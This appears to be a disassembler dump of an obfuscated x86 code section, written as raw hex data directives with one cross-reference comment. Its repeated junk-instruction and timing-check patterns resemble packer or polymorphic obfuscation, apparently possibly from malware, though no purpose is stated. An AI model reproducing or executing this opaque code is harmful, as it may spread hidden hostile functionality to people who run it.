0E953060Bh, 7, 0D0ADED90h, 5F120319h, 64195FFh dd 0BD03060Bh, 60B20DDh, 0BE9h, 373D1E00h, 36307222h, 1D3064Dh dd 0A811B58Bh, 858B060Eh, 60B121Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 75C35747h, 1800B63Ch, 0D129D9CDh dd 28A0F52h, 8B000000h, 1BE781FAh, 8B096D05h, 0C48689F9h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 1894C355h, 0D6D36D31h, 174D958Bh dd 9D89060Bh, 60B014Dh, 6A04C283h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 38A7C353h dd 3B931896h, 89D37B16h, 6A2050h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 538E00C3h, 8DF98B66h dd 0EBAEE85h, 0DFB70F06h, 14E8h, 716AF00h, 37C39EE6h, 0CF444D8h dd 413722DAh, 0D15AFA28h, 8D9D03FDh, 5B060B08h, 0B88689h dd 8D090000h, 60B2219h, 0BF66006Ah, 7E86EC8h, 8C000000h dd 0DD17F20Ah, 0BF0FA7F4h, 0B5FF5FDBh, 60EA81Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 18h, 33C35040h, 0B02BB609h dd 6800Fh, 0BD890000h, 60B01E1h, 0F1595FFh, 8529060Bh dd 60B29EDh, 1860Fh, 96F90000h, 796B63BFh, 52505077h, 928BC9BFh dd 0E9310F12h, 13h, 0F586F9A4h, 1399396h, 269065B1h, 0B9A0C34h dd 5A35E808h, 95319658h, 60B0405h, 2EE78166h, 1DB5FFF2h dd 6A060EA8h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0C8D9C355h, 702BF620h, 259D8BB0h dd 0FF060B04h, 0B00F595h, 6800F06h, 8B000000h, 0B24259Dh dd 0F1BD8B06h, 83060B05h, 0B2191BDh, 840F0006h, 65h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0C7C35141h, 66C5E8B8h dd 5050D98Bh, 0DE952h, 0E46D0000h, 93F72E69h, 6597B388h dd 0F439E66h, 89585A31h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 0C3BE12C3h, 8B9C7597h dd 0B0D159Dh, 1DB5FF06h, 56060EA8h, 5618531h, 0FF5F060Bh dd 0B128195h, 0CF816606h, 8B66E807h, 1DB5FFDFh, 0FF060EA8h dd 0B0B8D95h, 1860F06h, 0F9000000h, 3331BD89h, 0BD83060Bh dd 60B17F1h, 4D840F02h, 0E9000000h, 6, 0FF21241h, 858B320Eh dd 60B2EC5h, 0B840Fh, 6E90000h, 0BD000000h, 3A53F022h dd 0C68Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 15C35040h, 866F578Ch, 0BD8BDB13h, 60B0E49h, 6B985C7h dd 60Bh, 0BD8B0000h, 60B0D39h, 0FFF319E9h, 5E9FFh, 6BD30000h dd 8B10DFE4h, 68E0FC1h, 8B000000h, 0B0EF9BDh, 0A9858D06h dd 0F060B28h, 8B50FEB7h, 240489FEh, 8959D31h, 6A060Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h db 41h, 51h word_584F4E dw 93C3h ; DATA XREF: ___:0043680Co dd 830F6233h, 2, 6ADE8Bh, 4F79BF66h, 9045858Dh, 6A060Fh dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 313E51C3h, 663329DBh, 0F0F8BBBh, 0C083DAB7h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 46E7CF4h, 0FC7B2A9Bh, 24048950h, 13E9h, 894D8B00h, 736DD12Ah dd 2445480Dh, 9E241E3Fh, 35C364B1h, 6A006Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 96B2FBC3h dd 4FD11C72h, 0FC2B28Fh, 686h, 89BD2B00h, 8B060B0Bh, 6A006AF9h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 12DCC357h, 95FF605Fh, 60B2F21h, 0B08D8DF8h dd 6A060EA7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0EA45C357h, 0C4EA742Bh, 68B0FA8h dd 8B000000h, 0B0EE99Dh, 0FD1FF06h, 683h, 0F5BD8B00h, 83060B03h dd 0B0B19BDh, 850F0106h, 6Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Dh, 0C5C35646h, 5101D935h, 0EF4B28C8h dd 8B66F51Bh, 0F026ADAh, 118Fh, 0CE900h, 0A2F70000h, 59E36D41h dd 2E0ED305h, 0E99069CEh, 12h, 0FCCB6827h, 0F848FAC6h dd 0A2D0B01Ah, 69CC6ED4h, 6650D8E6h, 8A90DE8Bh, 1595FFDEh dd 89060B0Fh, 0B04A595h, 0EA4E906h, 0E80000h, 5D000000h dd 904FED81h, 6A060Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0B52961C3h, 60B0E9Dh, 30F19D8Bh dd 0B70F060Bh, 93858DDBh, 6A060E92h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 29A7C351h dd 0B0E65B5h, 8E0F5006h, 17h, 0FE850h, 0E00A0000h, 0A0B04A92h dd 4DC1C350h, 0BDE674D7h, 895F5B41h, 6A2404h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 2ECB22C3h dd 8E4FEA81h, 1A359D8Bh, 0FF64060Bh, 35h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8B4016FEh, 0B005DBDh, 649CB306h, 2589h, 0BF660000h dd 85FF2432h, 60B066Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0EFC35343h, 0B27A6978h, 23E2E81Fh, 1805BD8Bh dd 0FF6A060Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0F0C35343h, 23268951h, 295015FDh, 0B30F1B5h, 0B5FF5F06h dd 60B1AA9h, 16F38166h, 0F1BD8BD4h, 0FF060B0Eh, 0B241195h dd 120E906h, 0E3800000h, 0E600B007h, 48D38170h, 0E45EFECFh dd 0F0BF6671h, 0F613C10h, 10583h, 0F9BD2300h, 8B060B13h dd 0B12C59Dh, 0C8B60F06h, 128DBD31h, 6BA060Bh, 0F000000h dd 68Fh, 259D2900h, 8B060B21h, 6850FC1h, 9000000h, 0B0E4DBDh dd 4E8C106h, 8BBDB760h, 0B17CD95h, 81666106h, 668B54D7h dd 8D29E2F7h, 60B207Dh, 9D8BC82Bh, 60B0069h, 99BBD18Bh dd 0E91281DBh, 18h, 0EE9h, 8C7CB200h, 0B3B9F20Ch, 81F60676h dd 667C02E2h, 20B5DF81h, 2139858Bh, 9D31060Bh, 60B21F1h dd 3107C083h, 0B26C58Dh, 0C08306h, 603F3DBFh, 0FD03B00h dd 2083h, 7DB58900h, 0E9060B08h, 5Ah, 0AE9h, 14C3F500h dd 5AE5F044h, 89EF7132h, 0B1B01B5h, 0E98D8B06h, 80060B13h dd 0E18348D3h, 33840F01h, 0BB000000h, 22F0B610h, 13E9A583h dd 0E8FE060Bh, 0Ah, 7276F71Bh, 657D653Ch, 9D23E094h, 60B02A1h dd 3995895Fh, 81060B21h, 18C5A4D7h, 0E94Fh, 0B58D0000h dd 60F00DBh, 59DBD8Bh, 0B589060Bh, 60B0BA5h, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0A6573C3h, 426ABBD1h, 0FFF9779Ch, 0B32DD95h, 0B5BD8906h dd 0B9060B31h, 8E6h, 9E9h, 52593600h, 0EF095A82h, 2DBB1F29h dd 8352EE01h, 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 5C6752C3h, 6AFC6DDCh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 163BC353h, 0ACA4D37Bh, 0B70FE9E8h, 89C02BD9h, 0B29059Dh dd 6AD22B06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 78BCC357h, 29FB0D2Ch, 0B0F35B5h dd 0C233AD06h, 0D003E8D1h, 7504E983h, 118531F4h, 6A060B10h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 9D73C353h, 0F517A9Fh, 683h, 19BD8B00h, 5B060B33h dd 880Dh, 958BF500h, 60B174Dh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 0D1C35242h, 594367DFh, 929BD8Bh dd 9D8B060Bh, 60B2EE9h, 1198D8Bh, 6A060Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0C1BD66C3h dd 0AB43D987h, 1B918589h, 8B50060Bh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 6810Fh, 0E7810000h, 3D4AF582h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 13C35747h dd 0E9BD8B66h, 83060B19h, 0B29BDBDh, 840F0006h, 7Ah, 559D8B51h dd 5F060B2Fh, 2A599D8Bh, 0B8060Bh, 81000000h, 0A9CA6BDBh dd 0D78D8D4Eh, 6A060B4Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 40B6C350h, 6880F80h dd 9000000h, 0B16ADB5h, 0B6BF6606h, 6AE1FF74h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 93C6C356h, 0BFD99B29h, 31ED8C8Bh, 68DB529h, 0BD83060Bh dd 60B1009h, 78840F00h, 66000004h, 83D85ABBh, 0B1009BDh dd 840F0106h, 482h, 9599BB66h, 1009BD83h, 0F03060Bh, 43B86h dd 6A6000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0FD60C4C3h, 16B99D8Bh, 6E8060Bh, 0EC000000h dd 110B099Eh, 0B1BD8909h, 5F060B19h, 6AD98C66h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 102DC356h, 0E180D44Fh, 0D98D8904h, 0A060B13h, 61840FC9h dd 8B000001h, 0B218DBDh, 31606006h, 0B1241BDh, 6161F906h dd 317D858Bh, 8166060Bh, 33680EF7h, 0B06ED85h, 0BDBD0106h dd 0F5060B18h, 0DE990h, 0E6C40000h, 0EB80364Dh, 544725C1h dd 50AF2B23h, 6A90DA8Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8930C352h, 0B078595h dd 66006A06h, 0E8CD43BFh, 4, 1F03FFh, 16870F50h, 0E8000000h dd 0Eh, 58D0E6F1h, 0E4E2DB14h, 1716CF4h, 0AB7E0B9h, 24448B5Fh dd 13E904h, 85C20000h, 0CA456E7Fh, 0EC254467h, 56C63062h dd 13A8F47h, 0E9008B2Ch, 12h, 31FF77C1h, 53CCF8AAh, 1FA1D196h dd 0D56711C1h, 44894781h, 0F510424h, 28Ch, 5F616000h, 0BBBB6658h dd 0D195FF39h, 6A060B03h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 5B7C352h, 99EECE1h dd 8589110Bh, 60EA81Dh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 0B6C35141h, 0E2AEAD4Bh dd 0EF5D2B79h, 19B5093Dh, 0F060B04h, 0CEE9DBBFh, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0F0D6C352h, 0FC527BE7h, 0BD8BF91Fh, 60B0BC9h dd 0A815858Bh, 6A060Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 86DC5FC3h, 0C9F333B2h, 182711BBh dd 1800C73Dh, 0FC000000h, 0A819B58Bh, 6A060Eh, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 33F9C6C3h, 0B2849BDh, 0E59D8B06h, 8B060B07h, 0B06E185h dd 895EB706h, 29BD3306h, 1060B10h, 0B112995h, 7D858B06h dd 6A060B31h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 3A12C350h, 10E8h, 95F6B200h, 0CFBC3BA1h dd 0C14A6DFEh, 4EECB116h, 95B509A8h, 5B060B01h, 0EE9h dd 7EEB9700h, 77EB7E83h, 67BAE7F9h, 8917F674h, 60510446h dd 5A56C18Bh, 8B965F61h, 8B6650FBh, 0D78196F8h, 5E036FFCh dd 6880Fh, 0BD8B0000h, 60B2DFDh, 0A815B5FFh, 6A060Eh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 1D4AB1C3h, 0A7CA855Fh, 0D781E4ECh, 2B8DAB0h, 4ACB7F68h dd 13E9E7h, 5BA30000h, 0B58ECAD2h, 0CDE575A6h, 0E6A1F64h dd 3A656327h, 240481AFh, 18D43880h, 1D858DF9h, 8B060EA8h dd 0B240D9Dh, 0BF669006h, 6650A488h, 90902ABFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0EC35343h, 9D8B6080h dd 60B2EC9h, 0D195FF61h, 9060B03h, 0B31698Dh, 13E906h dd 0BCC50000h, 0E8803D51h, 68D90A7Dh, 401DA51Dh, 6F0DF8A1h dd 6A617Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 56BE2FC3h, 16EBCF6Fh, 0BF0FD02Bh, 6DBD8BDAh dd 0C7060B29h, 0B100985h, 306h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0C4CA9019h dd 8A18BF66h, 0A81DBD83h, 0F00060Eh, 6384h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0E9FA8BB2h, 0Ah, 1688801Dh, 87E0C55Ah, 4CE9688Eh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0DB5C351h, 0FE9h, 73B6C100h, 6763C9ACh, 8BB8647h dd 6B29C3B8h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0FFEAC351h, 66C989CAh, 6880Fh dd 8D010000h, 60B0D19h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ch, 65C35747h, 0C5E47935h, 1DCF310Ah, 93E8F381h dd 0BD8369BAh, 60B1009h, 69850F03h, 6A000004h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0EFBAC353h, 2D001110h, 0CA3EA813h, 0A81DBD83h, 0F00060Eh dd 43784h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 33C2583Eh, 0B23159Dh, 9850906h, 0FF060B18h dd 0EA81DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 2A50059h, 4C60ED55h, 0FF4AB309h dd 0B083D95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 8E7E71Ch, 8BC75024h, 0EA811B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 9D896F49h, 60B1F71h, 106C7h, 6A0001h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 291609C3h dd 8DE48120h, 7D9589D4h, 0E8060B18h, 5, 755481F0h, 0FE8B573Bh dd 50505B5Fh, 0FA8B6652h, 8D0F310Fh, 6, 310F5250h, 585A585Ah dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 0D13FC355h, 47FB3CA8h, 84391C5Ah dd 6299D31h, 6E9060Bh, 0F0000000h, 1C9B6688h, 0B5FFF8A8h dd 60EA81Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 3DC35242h, 6C07EC38h, 1C5CA77Ah, 0C5B5099Bh, 0FF060B14h dd 0B064195h, 0C18D8906h, 8B060B08h, 0EA811B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 58804D60h, 1FBF6664h, 1D858BADh, 6A060B12h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0BF97C356h, 0FC872E79h, 9D332062h, 60B3129h, 8D59529h dd 8689060Bh, 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 80C35141h, 286AD781h, 0BB663804h, 958B49D7h dd 60B174Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 14h, 88C35646h, 0B95B589h, 0B70F060Bh, 4C283DAh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B2C35646h, 10E9489Dh dd 28000000h, 6946BAE4h, 29A3A4A8h, 3DD0F10Bh, 89F992C9h dd 95892050h, 60B0F49h, 0BAEE858Dh, 6A060Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 8A03D1C3h dd 0E79D8BBEh, 8689FB5Eh, 0B8h, 0BD03006Ah, 60B08C9h, 0A81DB5FFh dd 840F060Eh, 6, 21759501h, 95FF060Bh, 60B0F15h, 5050F98Ah dd 0DE8B6652h, 8B66310Fh, 89585ADFh, 6A2434h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 6B20BC3h dd 0DF8B340Ah, 0A81DB5FFh, 6A060Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 5A9210C3h dd 0BB66F379h, 95FF78E2h, 60B00F5h, 13E9h, 0CE8F900h, 0F0CAD46Eh dd 8ECD974Bh, 0FFCFC336h, 0F9650019h, 2191BD83h, 0F00060Bh dd 3284h, 0BD9D8B00h, 96060B06h, 50F98B66h, 6A96DF8Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 54D0C357h, 0C3600A0Ah, 0FFFAA4D1h, 0EA81DB5h dd 0FDBD8B06h, 0FF060B06h, 0B128195h, 0FF87B306h, 0EA81DB5h dd 89D98B06h, 0B32D985h, 8D95FF06h, 80060B0Bh, 0BD83FFEBh dd 60B17F1h, 7A840F02h, 0E8000000h, 10h, 937FA6Fh, 0CB6B3842h dd 678D4911h, 6DADF841h, 0AE8h, 0DCEB8D00h, 5BE4A752h dd 8BBB256Dh, 0B29C5BDh, 8B5F5B06h, 0B2EC585h, 6820F06h dd 89000000h, 0B1A99B5h, 0AE906h, 0C6550000h, 97241D61h dd 0D5C25EDCh, 6A0000C6h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 1EEDC352h, 0E176D44Ah dd 0D78043BFh, 78BB669Eh, 0B985C7D4h, 60B06h, 0F000000h dd 0BD8BD8BFh, 60B13BDh, 0FFF2C5E9h, 56006AFFh, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h dd 0C3564600h, 8BF63B33h, 0B0EE99Dh, 6AC18B06h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 996DC351h, 0F5589730h, 5D86E28h, 68F0F57h, 8B000000h dd 0B16819Dh, 858D5B06h, 60B28A9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0BDC35343h, 8CEDC9EEh, 8088A98Fh dd 0F60C0E3h, 0B70FF7BFh, 895061C6h, 6A2404h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 84EFAEC3h dd 94197B84h, 8B669FA4h, 6A006AFAh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0FB7FC357h dd 8E8B8h, 0CF0A0000h, 0D6A7A45Ch, 0CF81DA05h, 3EC0440Ch dd 0DF8B665Bh, 12E9006Ah, 21000000h, 0AF6EC901h, 91520E6Fh dd 0E25BE1Ch, 977CCBE8h, 1A858DC4h, 8B060FA1h, 0B2E319Dh dd 5C08306h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 4BC35242h, 655E8939h, 6850Fh, 0BD8B0000h, 60B2981h dd 24048950h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 97C35343h, 0A4B251ABh, 0E7872F2Dh, 79BD2968h, 6A060B13h dd 0D8B70F00h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 742186C3h, 2195FF58h, 6A060B2Fh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0FF7C350h, 8D8DDEB7h, 60EA7B0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B9C35646h, 0A98D89A8h dd 0FF060B04h, 0BD9D01D1h, 83060B21h, 0B0B19BDh, 850F0106h dd 8Ah, 536EBE60h, 830F28C1h, 14h, 0EE8h, 46ABB600h, 5D582F38h dd 7D4FAF4Eh, 5EFF1657h, 0F026A61h, 8A90F8BFh, 59BB50DAh dd 9072ACA3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 6DC35646h, 958960DDh, 60B19C1h, 6E9h, 9FF0BE00h dd 61340857h, 0F1595FFh, 6A060Bh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0DFFEB1C3h, 3FE8728Ah dd 17E992B2h, 0E800000Ch, 0 dd 24ED815Dh, 60060FA1h, 68F0Fh, 870F0000h, 0 dd 0ECC78161h, 8D4320F5h, 0E929385h, 0AD9D8B06h, 90060B0Fh dd 90F88B50h, 9BD3360h, 89060B2Eh, 0B011585h, 0FF646106h dd 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 7846EB5Fh, 506E1006h, 6FF38166h dd 0AD9501A8h, 64060B1Ah, 2589h, 95890000h, 60B29ADh, 66D85FFh dd 5260060Bh, 42F7CE81h, 0F587B8Eh, 6A61DABFh, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0FF462078h, 0B0105B5h, 11958906h, 0FF060B22h, 0B241195h dd 0EDE906h, 0B5890000h, 60B07D5h, 0AE900B0h, 0A6000000h dd 1BF72625h, 0E7BF25E9h, 170E690h, 0B233995h, 51BD8B06h dd 0E4060B18h, 0F7816671h, 613CB060h, 0B9830Fh, 9D890000h dd 60B0069h, 0BAC8B60Fh, 6, 29899D33h, 0C18B060Bh, 0E2A1EB81h dd 0E8C17ECCh, 67BF6604h, 0E2F766CBh, 233D9D89h, 0C82B060Bh dd 87B96051h, 6159BB78h, 0F5D18B5Fh, 6E9h, 35BD3300h, 8B060B27h dd 0B329185h, 9DB58906h, 83060B05h, 0EF8107C0h, 4BCE7688h dd 8A00C083h, 0FD03BD9h, 1583h, 0D0806000h, 22F0BBA3h dd 0E96177E6h, 43h, 166D9D8Bh, 8D8B060Bh, 60B2A6Dh, 39850960h dd 81060B04h, 9F54F4E7h, 0E1836178h, 20840F01h, 0F000000h dd 81h, 6DA58300h, 0FE060B2Ah, 919589F8h, 57060B32h, 3366C6BBh dd 0E95F61h, 8D000000h, 0F0B15B5h, 0BFD78106h, 6A0AB0FEh dd 0A6C38000h, 32DD95FFh, 9D2B060Bh, 60B1965h, 71FB9h dd 0E183F500h, 66FCF5FCh, 9F5BEF81h, 68E0Fh, 0BD8B0000h dd 60B23F5h, 6AC02Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 8F31CAC3h, 239C2484h, 0B31D5BDh dd 6AD22B06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 7540C357h, 3E7AAD5Fh, 882969BBh dd 8D9D893Bh, 0AD060B32h, 0E8D1C233h, 0E983D003h, 6AF47504h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 537AC352h, 0BDD407E4h, 9D8960F7h, 60B1359h dd 31858B60h, 0E9060B2Eh, 10h, 6F812D4Eh, 0DC922A80h, 0F75D434Bh dd 0CC362178h, 830F6161h, 6, 0E15BD8Bh, 880D060Bh, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0C7FAC357h, 0F98B9651h, 8BD8B70Fh, 0B174D95h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h dd 0C3524200h, 1D958909h, 8B060B24h, 0B01198Dh, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0C93DD0F1h, 0F88BF992h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 4D3A13C3h, 0E3816642h, 6AEBF7h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 6C3767C3h, 839718CAh, 0B29BDBDh, 840F0006h, 54h, 800Fh dd 0B80000h, 89000000h, 0B32F9B5h, 0D78D8D06h, 81060B4Dh dd 9416D7F7h, 6AE1FF49h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 1ADDC353h, 0AED07A3h dd 2820Fh, 0DE8B0000h, 68B0Fh, 0BD8B0000h, 60B206Dh, 1009BD83h dd 0F00060Bh, 3D984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 0E9B3D5C9h, 0Fh, 85AA7CD0h dd 7244AE57h, 0AD435BD2h, 83BD5C56h, 0B1009BDh, 840F0106h dd 3B5h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 99C35141h, 0AED46228h, 0D34A47EBh, 0D5BD3185h dd 56060B17h, 0C9F638BBh, 0BD835B4Fh, 60B1009h, 40860F03h dd 0FC000003h, 0E1858960h, 89060B17h, 0B279D9Dh, 0D98C6606h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9BC35242h dd 9589C62Ch, 60B234Dh, 0DEB70F57h, 0E9C7805Bh, 6A04E180h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0FCBDC351h, 901BD2Bh, 0C90A060Bh, 0D3840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 3FBBD3C3h, 8B1128C5h, 0B317D85h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 5FD18C2Fh, 8533F5A9h, 60B06EDh, 6690F98Bh, 501901BFh dd 95E9BF66h, 99BD2990h, 0FC060B17h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F208A5C3h dd 0F75BD89h, 0FF68060Bh, 810B777Dh, 7E002434h, 6A0B68h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 8B5142C3h, 3D195FFh, 8166060Bh, 899ED8E3h, 0EA81D85h dd 0E878BF06h, 7AE94975h, 81000001h, 0D0B48F3h, 15858B34h dd 8B060EA8h, 0B05D59Dh, 0BE906h, 1C880000h, 0C3AEDC07h dd 0C3FECD07h, 1800C757h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 0A1F4C351h dd 0A819B58Bh, 8B66060Eh, 0E1858BFBh, 89060B06h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 4444285Bh, 9235220h, 0BD232DC6h, 60B12B5h, 317D858Bh dd 0BD8B060Bh, 60B0BA5h, 0BF044689h, 6CD6A185h, 5318589h dd 6696060Bh, 500343BBh, 61606060h, 87BA5761h, 5F599967h dd 6A9661h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 0BF6608C3h, 0B5FF9E3Ch, 60EA815h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 90C35545h, 0BD2956F2h dd 60B1341h, 3D1685Bh, 6651246Ah, 815BDF8Bh, 2E2434h, 6A2475h dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0A6B020C3h, 858D9E1Ah, 60EA81Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 79C35343h, 6E8ACh, 73970000h dd 0D6E7A5BFh, 0F91BD01h, 905B060Bh, 0BB50FB8Bh, 23C646CEh dd 7DBD8990h, 0FF060B0Bh, 0B03D195h, 67BB6606h, 6A6163h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 5AB9ABC3h, 8848BFDEh, 8B662194h, 985C7D8h, 3060B10h dd 0BF000000h, 3FBF3810h, 0A81DBD83h, 0F00060Eh, 4A84h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 